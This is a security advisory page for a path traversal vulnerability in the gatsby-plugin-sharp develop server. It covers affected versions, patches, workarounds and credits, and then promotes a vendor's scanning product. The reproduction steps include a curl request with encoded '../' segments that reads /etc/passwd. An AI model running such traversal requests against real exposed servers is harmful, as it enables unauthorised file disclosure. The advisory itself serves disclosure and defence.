GHSA-h2pm-378c-pcxx
MEDIUMPath traversal vulnerability in gatsby-plugin-sharp
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
gatsby-plugin-sharp📦gatsby-plugin-sharpReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Impact
The gatsby-plugin-sharp plugin prior to versions 5.8.1 and 4.25.1 contains a path traversal vulnerability exposed when running the Gatsby develop server (gatsby develop).
The following steps can be used to reproduce the vulnerability:
# Create a new Gatsby project, and install gatsby-plugin-sharp
$ npm init gatsby
$ cd my-gatsby-site
$ npm install gatsby-plugin-sharp
# Add the plugin to gatsby-config.js
module.exports = {
plugins: [
{
resolve: `gatsby-plugin-sharp`,
},
]
}
# Start the Gatsby develop server
$ gatsby develop
# Execute the path traversal vulnerability
$ curl "http://127.0.0.1:8000/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
It should be noted that by default gatsby develop is only accessible via the localhost 127.0.0.1, and one would need to intentionally expose the server to other interfaces to exploit this vulnerability by using server options such as --host 0.0.0.0, -H 0.0.0.0, or the GATSBY_HOST=0.0.0.0 environment variable.
Patches
A patch has been introduced in [email protected] and [email protected] which mitigates the issue by ensuring that included paths remain within the project directory.
Workarounds
As stated above, by default gatsby develop is only exposed to the localhost 127.0.0.1. For those using the develop server in the default configuration no risk is posed. If other ranges are required, preventing the develop server from being exposed to untrusted interfaces or IP address ranges would mitigate the risk from this vulnerability.
We encourage projects to upgrade to the latest major release branch for all Gatsby plugins to ensure the latest security updates and bug fixes are received in a timely manner.
Credits
We would like to thank Patrick Rombouts and Bart Veneman [drukwerkdeal.nl] for bringing the issue to our attention.
For more information
Email us at [email protected].
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | gatsby-plugin-sharp | ≥ 5.0.0&&< 5.8.1 | 5.8.1 |
| 📦npm | gatsby-plugin-sharp | all versions | 4.25.1 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gatsby-plugin-sharp. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update gatsby-plugin-sharp to 5.8.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-h2pm-378c-pcxx is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-h2pm-378c-pcxx is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-h2pm-378c-pcxx. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-h2pm-378c-pcxx in your dependencies?
O3 detects GHSA-h2pm-378c-pcxx across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.